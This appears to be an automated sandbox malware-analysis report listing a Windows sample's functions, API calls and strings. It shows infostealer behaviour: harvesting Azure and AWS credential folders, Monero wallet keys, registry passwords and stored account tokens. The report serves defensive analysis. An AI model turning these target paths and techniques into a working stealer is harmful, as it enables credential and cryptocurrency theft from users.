Part of subcall function 007B4910: PathMatchSpecA.SHLWAPI(?,?), ref: 007B4A1E
Part of subcall function 007B4910: lstrcat.KERNEL32(?,013FF930), ref: 007B4A4A
Part of subcall function 007B4910: lstrcat.KERNEL32(?,007C0FF8), ref: 007B4A5C
Part of subcall function 007B4910: lstrcat.KERNEL32(?,?), ref: 007B4A70
Part of subcall function 007B4910: lstrcat.KERNEL32(?,007C0FFC), ref: 007B4A82
Part of subcall function 007B4910: lstrcat.KERNEL32(?,?), ref: 007B4A96
Part of subcall function 007B4910: CopyFileA.KERNEL32(?,?,00000001), ref: 007B4AAC
Part of subcall function 007B4910: DeleteFileA.KERNEL32(?), ref: 007B4B31

Strings

Azure\.azure, xrefs: 007B4DD3
Azure\.IdentityService, xrefs: 007B4EEB
*.*, xrefs: 007B4E64
*.*, xrefs: 007B4DD8
\.azure\, xrefs: 007B4DC1
msal.cache, xrefs: 007B4EF0
Azure\.aws, xrefs: 007B4E5F
\.aws\, xrefs: 007B4E4D
\.IdentityService\, xrefs: 007B4ED9

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 1cecd58b99d1d05d25eb3d294102477b4e3d461dd0d7921391311c235e776c94
Instruction ID: 9460bcc8b5b27f7ac380aa942d979e9fe9f01d5e26219a349aa59652600e3385
Opcode Fuzzy Hash: 1cecd58b99d1d05d25eb3d294102477b4e3d461dd0d7921391311c235e776c94
Instruction Fuzzy Hash: 44419BBA940204B7DB54F770DC8BFDD7378AB65700F4045687685660C2EDB86BC9CB92

Function 007A1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007A12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007A12B4
Part of subcall function 007A12A0: RtlAllocateHeap.NTDLL(00000000), ref: 007A12BB
Part of subcall function 007A12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007A12D7
Part of subcall function 007A12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007A12F5
Part of subcall function 007A12A0: RegCloseKey.ADVAPI32(?), ref: 007A12FF

lstrcat.KERNEL32(?,00000000), ref: 007A134F
lstrlen.KERNEL32(?), ref: 007A135C
lstrcat.KERNEL32(?,.keys), ref: 007A1377

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B8B60: GetSystemTime.KERNEL32(007C0E1A,013FB6A8,007C05AE,?,?,007A13F9,?,0000001A,007C0E1A,00000000,?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007B8B86

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 007A1465

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007A99EC
Part of subcall function 007A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007A9A11
Part of subcall function 007A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007A9A31
Part of subcall function 007A99C0: ReadFile.KERNEL32(000000FF,?,00000000,007A148F,00000000), ref: 007A9A5A
Part of subcall function 007A99C0: LocalFree.KERNEL32(007A148F), ref: 007A9A90
Part of subcall function 007A99C0: CloseHandle.KERNEL32(000000FF), ref: 007A9A9A

DeleteFileA.KERNEL32(00000000), ref: 007A14EF

Strings

wallet_path, xrefs: 007A1330
.keys, xrefs: 007A136B
SOFTWARE\monero-project\monero-core, xrefs: 007A1335
\Monero\wallet.keys, xrefs: 007A138D

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: ef3946c8081fb8b3464c23e4c16c29e131345b76f6806f87e18755dc706a40ab
Instruction ID: 81fd4d692e4c23147a72df74999e57707ceb58c808e2a121cc3a4221db0e457d
Opcode Fuzzy Hash: ef3946c8081fb8b3464c23e4c16c29e131345b76f6806f87e18755dc706a40ab
Instruction Fuzzy Hash: BC5123B1D50118B7DB15FB60DD9AFED737CAB54300F4041A8B60A66091EE386B89CAA6

Function 007B7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007B7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007B757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7603
RtlAllocateHeap.NTDLL(00000000), ref: 007B760A
wsprintfA.USER32 ref: 007B7640

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Strings

|, xrefs: 007B764D, 007B7655, 007B761B, 007B7623
C, xrefs: 007B754C
:, xrefs: 007B755C
\, xrefs: 007B7560

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$|
API String ID: 1544550907-3415324296
Opcode ID: 5a1dd3b26b8a2da5aecfe0e99235cdc627f74cc03a3b1379e06b586d3468fea5
Instruction ID: 926ae1a7d5dbdf7384259706b00c98239809771e2c12f2bc2b4319fc45c1f9d2
Opcode Fuzzy Hash: 5a1dd3b26b8a2da5aecfe0e99235cdc627f74cc03a3b1379e06b586d3468fea5
Instruction Fuzzy Hash: C34182B1D04248EBDF14DF94DC95BDEBBB8AF48704F100199F5096B280DB78AA44CBA6

Function 007A75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007A72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007A733A
Part of subcall function 007A72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007A73B1
Part of subcall function 007A72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007A740D
Part of subcall function 007A72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 007A7452
Part of subcall function 007A72D0: HeapFree.KERNEL32(00000000), ref: 007A7459

lstrcat.KERNEL32(35C4E020,007C17FC), ref: 007A7606
lstrcat.KERNEL32(35C4E020,00000000), ref: 007A7648
lstrcat.KERNEL32(35C4E020, : ), ref: 007A765A
lstrcat.KERNEL32(35C4E020,00000000), ref: 007A768F
lstrcat.KERNEL32(35C4E020,007C1804), ref: 007A76A0
lstrcat.KERNEL32(35C4E020,00000000), ref: 007A76D3
lstrcat.KERNEL32(35C4E020,007C1808), ref: 007A76ED
task.LIBCPMTD ref: 007A76FB

Strings

: , xrefs: 007A764E

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 034339246a2e85600ec141f103dd575d9dfd3bf7df3c1812b58b6d94c8e88dc0
Instruction ID: 623f424289188e4257c323ee892fb920d60dbccfb0aa4135b39209262ee4ffc6
Opcode Fuzzy Hash: 034339246a2e85600ec141f103dd575d9dfd3bf7df3c1812b58b6d94c8e88dc0
Instruction Fuzzy Hash: 643144B1D14149DFCB48EBB4DC99EFF7774BB86301B144118F102AB161DA38AD46DB52

Function 007B8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013FF1D8,00000000,?,007C0E2C,00000000,?,00000000), ref: 007B8130
RtlAllocateHeap.NTDLL(00000000), ref: 007B8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007B8158
__aulldiv.LIBCMT ref: 007B8172
__aulldiv.LIBCMT ref: 007B8180
wsprintfA.USER32 ref: 007B81AC

Strings

%d MB, xrefs: 007B81A3
@, xrefs: 007B814D

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 593955588880421c0ede6129e3795ae5878a47696774665963a77994af140624
Instruction ID: 140162aab99a16e2a9ef16c4c8dff5d8c915ac9df0557501e7fc26657c270455
Opcode Fuzzy Hash: 593955588880421c0ede6129e3795ae5878a47696774665963a77994af140624
Instruction Fuzzy Hash: 3E21EAB1E44258ABDB10DFD4CC49FAEBBB8FB44B10F104619F605BB280D77869018BA6

Function 007A72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007A733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007A73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007A740D
GetProcessHeap.KERNEL32(00000000,?), ref: 007A7452
HeapFree.KERNEL32(00000000), ref: 007A7459
task.LIBCPMTD ref: 007A7555

Strings

Password, xrefs: 007A7401

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: d01a0ff83227baa7e912d4426421086148dc9af569aec213fa9f172672dbd43e
Instruction ID: 67e47c297495b0e237c95d7837871721d7b4feb21b50301187e2c09f9c78d6e6
Opcode Fuzzy Hash: d01a0ff83227baa7e912d4426421086148dc9af569aec213fa9f172672dbd43e
Instruction Fuzzy Hash: 97611BB5D04168DBDB24DB50CC45BDAB7B8BF89300F0082E9E649A6141EB746FC9CFA1

Function 007ABA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

lstrlen.KERNEL32(00000000), ref: 007ABC9F

Part of subcall function 007B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007B8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 007ABCCD
lstrlen.KERNEL32(00000000), ref: 007ABDA5
lstrlen.KERNEL32(00000000), ref: 007ABDB9

Strings

AccountTokens, xrefs: 007ABABA
AccountId, xrefs: 007ABCC4
SELECT service, encrypted_token FROM token_service, xrefs: 007ABBEB
AccountTokens, xrefs: 007ABB49

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
